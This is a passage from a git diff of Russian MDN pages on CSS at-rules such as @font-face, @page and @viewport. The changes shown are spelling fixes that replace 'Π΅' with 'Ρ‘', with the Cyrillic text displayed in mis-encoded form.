-<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a>Β <a href="/en-US/docs/CSS/At-rule">@-ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</a> <font>ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ </font><font>ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ для отобраТСния тСкста Π½Π°Β Π²Π΅Π±-страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ либо с ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ сСрвСра, Π»ΠΈΠ±ΠΎ с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Если Π² ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Π±Ρ‹Π»Π° объявлСна функция </font><code>local()</code>, с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚Β ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ поиск Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ,Β ΠΈΒ Π² случаС обнаруТСния Π±ΡƒΠ΄Π΅Ρ‚ использован этот ΡˆΡ€ΠΈΡ„Ρ‚. Π˜Π½Π°Ρ‡Π΅ Π±ΡƒΠ΄Π΅Ρ‚ скачан ΠΈ использован ΡˆΡ€ΠΈΡ„Ρ‚, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>url()</code>.</div>
+<div><strong><code>@font-face</code></strong> <a href="/en-US/docs/CSS">CSS</a>Β <a href="/en-US/docs/CSS/At-rule">@-ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</a> <font>ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚Β ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ </font><font>ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ для отобраТСния тСкста Π½Π°Β Π²Π΅Π±-страницах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ либо с ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ сСрвСра, Π»ΠΈΠ±ΠΎ с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Если Π² ΠΏΡ€Π°Π²ΠΈΠ»Π΅ Π±Ρ‹Π»Π° объявлСна функция </font><code>local()</code>, с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚Β ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ поиск Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ,Β ΠΈΒ Π² случаС обнаруТСния Π±ΡƒΠ΄Π΅Ρ‚ использован этот ΡˆΡ€ΠΈΡ„Ρ‚. Π˜Π½Π°Ρ‡Π΅ Π±ΡƒΠ΄Π΅Ρ‚ скачан ΠΈ использован ΡˆΡ€ΠΈΡ„Ρ‚, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>url()</code>.</div>
<div>Β </div>
@@ -19,7 +19,7 @@ translation_of: Web/CSS/@font-face
<div>Β </div>
-<div>РаспространСнным случаСм являСтся ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ использованиС <code>url()</code> ΠΈ <code>local()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚, Ссли ΠΎΠ½ доступСн, ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ копию ΡˆΡ€ΠΈΡ„Ρ‚Π°.</div>
+<div>Распространённым случаСм являСтся ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ использованиС <code>url()</code> ΠΈ <code>local()</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΡˆΡ€ΠΈΡ„Ρ‚, Ссли ΠΎΠ½ доступСн, ΠΈΠ»ΠΈ ΠΈΠ½Π°Ρ‡Π΅ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ копию ΡˆΡ€ΠΈΡ„Ρ‚Π°.</div>
<div>Β </div>
@@ -56,7 +56,7 @@ translation_of: Web/CSS/@font-face
<dt>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ Π½Π°Π΄ вариациями OpenType ΠΈ TrueType ΡˆΡ€ΠΈΡ„Ρ‚ΠΎΠ², указывая Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ…Π±ΡƒΠΊΠ²Π΅Π½Π½Ρ‹Π΅ названия осСй для измСнСния вмСстС с ΠΈΡ… значСниями.</dd>
<dt>{{cssxref("@font-face/src", "src")}}</dt>
- <dd><font>Π—Π°Π΄Π°Π΅Ρ‚ рСсурс, содСрТащий Π΄Π°Π½Π½Ρ‹Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Π°.Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ URL-адрСс располоТСния ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ имя ΡˆΡ€ΠΈΡ„Ρ‚Π° Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.<br>
+ <dd><font>Π—Π°Π΄Π°Ρ‘Ρ‚ рСсурс, содСрТащий Π΄Π°Π½Π½Ρ‹Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Π°.Β Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ URL-адрСс располоТСния ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° ΡˆΡ€ΠΈΡ„Ρ‚Π° ΠΈΠ»ΠΈ имя ΡˆΡ€ΠΈΡ„Ρ‚Π° Π½Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.<br>
<br>
Π§Ρ‚ΠΎΠ±Ρ‹ Π΄Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящий Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΡˆΡ€ΠΈΡ„Ρ‚Π°, Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ объявлСнии Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>format()</code>:</font><br>
diff --git a/files/ru/web/css/@font-feature-values/index.html b/files/ru/web/css/@font-feature-values/index.html
index d04e91a2d0..7a122d3ad6 100644
--- a/files/ru/web/css/@font-feature-values/index.html
+++ b/files/ru/web/css/@font-feature-values/index.html
@@ -29,7 +29,7 @@ translation_of: Web/CSS/@font-feature-values
}
</pre>
-<p>ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ <code>@font-feature-values</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π° Π²Π΅Ρ€Π½Π΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ вашСго CSS Ρ‚Π°ΠΊ ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS ΠΏΡ€Π°Π²ΠΈΠ»Π°</a>.</p>
+<p>ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ <code>@font-feature-values</code> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΊ Π½Π° Π²Π΅Ρ€Π½Ρ‘ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ вашСго CSS Ρ‚Π°ΠΊ ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ любого <a href="/en-US/docs/Web/CSS/At-rule#Conditional_Group_Rules" title="CSS/At-rule#Conditional_Group_Rules">условного CSS ΠΏΡ€Π°Π²ΠΈΠ»Π°</a>.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -84,5 +84,5 @@ translation_of: Web/CSS/@font-feature-values
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
- <li>Бвойство {{cssxref("font-variant-alternates")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ значСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ этим ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ.</li>
+ <li>Бвойство {{cssxref("font-variant-alternates")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ значСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ этим ΠΏΡ€Π°Π²ΠΈΠ»ΠΎΠΌ.</li>
</ul>
diff --git a/files/ru/web/css/@media/inverted-colors/index.html b/files/ru/web/css/@media/inverted-colors/index.html
index f56c90108b..123d6d7eeb 100644
--- a/files/ru/web/css/@media/inverted-colors/index.html
+++ b/files/ru/web/css/@media/inverted-colors/index.html
@@ -30,7 +30,7 @@ translation_of: Web/CSS/@media/inverted-colors
<h3 id="HTML">HTML</h3>
-<pre class="brush: html">&lt;p&gt;Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°, этот тСкст Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ синим ΠΏΠΎ Π±Π΅Π»ΠΎΠΌΡƒ (инвСрсия ΠΆΠ΅Π»Ρ‚ΠΎΠ³ΠΎ ΠΏΠΎ Ρ‡Π΅Ρ€Π½ΠΎΠΌΡƒ). Если Π½Π΅Ρ‚, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ красным Π½Π° свСтло-сСром.&lt;/p&gt;
+<pre class="brush: html">&lt;p&gt;Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°, этот тСкст Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ синим ΠΏΠΎ Π±Π΅Π»ΠΎΠΌΡƒ (инвСрсия ΠΆΡ‘Π»Ρ‚ΠΎΠ³ΠΎ ΠΏΠΎ Ρ‡Ρ‘Ρ€Π½ΠΎΠΌΡƒ). Если Π½Π΅Ρ‚, ΠΎΠ½ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ красным Π½Π° свСтло-сСром.&lt;/p&gt;
&lt;p&gt;Если тСкст сСрого Ρ†Π²Π΅Ρ‚Π°, ваш Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΌΠ΅Π΄ΠΈΠ°-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ `inverted-colors`.&lt;/p&gt;</pre>
<h3 id="CSS">CSS</h3>
diff --git a/files/ru/web/css/@media/orientation/index.html b/files/ru/web/css/@media/orientation/index.html
index 723c964b8f..055dffc88d 100644
--- a/files/ru/web/css/@media/orientation/index.html
+++ b/files/ru/web/css/@media/orientation/index.html
@@ -8,7 +8,7 @@ translation_of: Web/CSS/@media/orientation
<p><a href="/en-US/docs/CSS">CSS</a> <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">ΠΌΠ΅Π΄ΠΈΠ°-Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</a>Β <strong><code>orientation</code></strong> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ области {{glossary("просмотра")}} (ΠΈΠ»ΠΈ поля страницы для <a href="/en-US/docs/Web/CSS/Paged_media">ΠΌΠ΅Π΄ΠΈΠΉΠ½Ρ‹Ρ… страниц</a>).</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π­Ρ‚Π° функция Π½Π΅ соотвСтствуСт ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈΒ <em>устройства</em>. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΡ… устройствах Π² ΠΊΠ½ΠΈΠΆΠ½ΠΎΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ просмотра станСт ΡˆΠΈΡ€Π΅, Ρ‡Π΅ΠΌ высокая, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π»ΡŒΠ±ΠΎΠΌΠ½Ρ‹Π΅ стили вмСсто ΠΏΠΎΡ€Ρ‚Ρ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong>Β Π­Ρ‚Π° функция Π½Π΅ соотвСтствуСт ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈΒ <em>устройства</em>. ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΡ… устройствах Π² ΠΊΠ½ΠΈΠΆΠ½ΠΎΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ просмотра станСт ΡˆΠΈΡ€Π΅, Ρ‡Π΅ΠΌ высокая, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Ρ‡Π΅Π³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π»ΡŒΠ±ΠΎΠΌΠ½Ρ‹Π΅ стили вмСсто ΠΏΠΎΡ€Ρ‚Ρ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ.</p>
</div>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html
index d61e6d2ca3..04daa7d53e 100644
--- a/files/ru/web/css/@page/index.html
+++ b/files/ru/web/css/@page/index.html
@@ -2,7 +2,7 @@
title: '@page'
slug: Web/CSS/@page
tags:
- - ВСрстка
+ - Вёрстка
- ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ
- страница
translation_of: Web/CSS/@page
@@ -99,5 +99,5 @@ translation_of: Web/CSS/@page
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
<ul>
- <li>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚ΠΈΠΊΠ΅Ρ‚ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> Π² Bugzilla для отслСТивания прогрСсса ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅ (Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ страничный счСтчик, ΠΈ Ρ‚.Π΄.)</li>
+ <li>Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚ΠΈΠΊΠ΅Ρ‚ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=286443">[META] CSS Paged Media Module Level 3</a> Π² Bugzilla для отслСТивания прогрСсса ΠΏΠΎ Ρ‚Π΅ΠΌΠ΅ (Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ страничный счётчик, ΠΈ Ρ‚.Π΄.)</li>
</ul>
diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html
index 56ee461658..cbbaf38b69 100644
--- a/files/ru/web/css/@viewport/index.html
+++ b/files/ru/web/css/@viewport/index.html
@@ -16,7 +16,7 @@ translation_of: Web/CSS/@viewport
<h2 id="ΠšΡ€Π°Ρ‚ΠΊΠΎ">ΠšΡ€Π°Ρ‚ΠΊΠΎ</h2>
-<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> содСрТит Π½Π°Π±ΠΎΡ€ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… дСскрипторов Π² Π±Π»ΠΎΠΊΠ΅ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹ΠΌΠΈ скобками. Π­Ρ‚ΠΈ дСскрипторы ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ настройками Π²ΠΈΠ΄ΠΎΠ²ΠΎΠ³ΠΎ экрана, Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах.</p>
+<p><strong><code>@viewport</code></strong> <a href="/en/CSS" title="CSS">CSS</a> <a href="/en/CSS/At-rule" title="en/CSS/At-rule">at-rule</a> содСрТит Π½Π°Π±ΠΎΡ€ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… дСскрипторов Π² Π±Π»ΠΎΠΊΠ΅ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹ΠΌΠΈ скобками. Π­Ρ‚ΠΈ дСскрипторы ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ настройками Π²ΠΈΠ΄ΠΎΠ²ΠΎΠ³ΠΎ экрана, Π² ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -32,13 +32,13 @@ translation_of: Web/CSS/@viewport
<dt><a href="/en-US/docs/Web/CSS/@viewport/max-width"><code>max-width</code></a></dt>
<dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π²ΠΈΠ΄ΠΎΠ²ΠΎΠ³ΠΎ экрана ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt><a href="/en-US/docs/Web/CSS/@viewport/width"><code>width</code></a></dt>
- <dd>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ дСскриптор для установки ΠΊΠ°ΠΊ минимальной ΡˆΠΈΡ€ΠΈΠ½Ρ‹(min-width), Ρ‚Π°ΠΊ ΠΈ максимальной ΡˆΠΈΡ€ΠΈΠ½Ρ‹(max-width).</dd>
+ <dd>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ дСскриптор для установки ΠΊΠ°ΠΊ минимальной ΡˆΠΈΡ€ΠΈΠ½Ρ‹(min-width), Ρ‚Π°ΠΊ ΠΈ максимальной ΡˆΠΈΡ€ΠΈΠ½Ρ‹(max-width).</dd>
<dt><a href="/en-US/docs/Web/CSS/@viewport/min-height"><code>min-height</code></a></dt>
<dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ высоты Π²ΠΈΠ΄ΠΎΠ²ΠΎΠ³ΠΎ экрана ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt><a href="/en-US/docs/Web/CSS/@viewport/max-height"><code>max-height</code></a></dt>
<dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΡ€ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΈ высоты Π²ΠΈΠ΄ΠΎΠ²ΠΎΠ³ΠΎ экрана ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π²ΠΎΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt><a href="/en-US/docs/Web/CSS/@viewport/height"><code>height</code></a></dt>
- <dd>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ дСскриптор для установки ΠΊΠ°ΠΊ минимальной высоты(min-height), Ρ‚Π°ΠΊ ΠΈ максимальной высоты(max-height).</dd>
+ <dd>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ дСскриптор для установки ΠΊΠ°ΠΊ минимальной высоты(min-height), Ρ‚Π°ΠΊ ΠΈ максимальной высоты(max-height).</dd>
<dt><a href="/en-US/docs/Web/CSS/@viewport/zoom"><code>zoom</code></a></dt>
<dd>УстанавливаСт Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ коэффициСнт ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ.</dd>
<dt><a href="/en-US/docs/Web/CSS/@viewport/min-zoom"><code>min-zoom</code></a></dt>
diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html
index 872ef81e58..c194469e7a 100644
--- a/files/ru/web/css/_colon_-moz-focusring/index.html
+++ b/files/ru/web/css/_colon_-moz-focusring/index.html
@@ -33,7 +33,7 @@ translation_of: 'Web/CSS/:-moz-focusring'
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
-<p>Π­Ρ‚ΠΎΡ‚ псСвдокласс ΠΏΠΎΠΊΠ° Π΅Ρ‰Π΅ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π½ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΉ спСцификации, хотя ΠΈ ΠΏΡ€ΠΎΡˆΠ΅Π» этап обсуТдСния Π² Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ Π³Ρ€ΡƒΠΏΠΏΠ΅. По Π΅Π³ΠΎ ΠΈΡ‚ΠΎΠ³Π°ΠΌ Π±Ρ‹Π»ΠΎ Ρ€Π΅ΡˆΠ΅Π½ΠΎ внСсти Π΅Π³ΠΎ Π² Π³Ρ€ΡƒΠΏΠΏΡƒ сСлСкторов 4 ΠΈΠ»ΠΈ 5.</p>
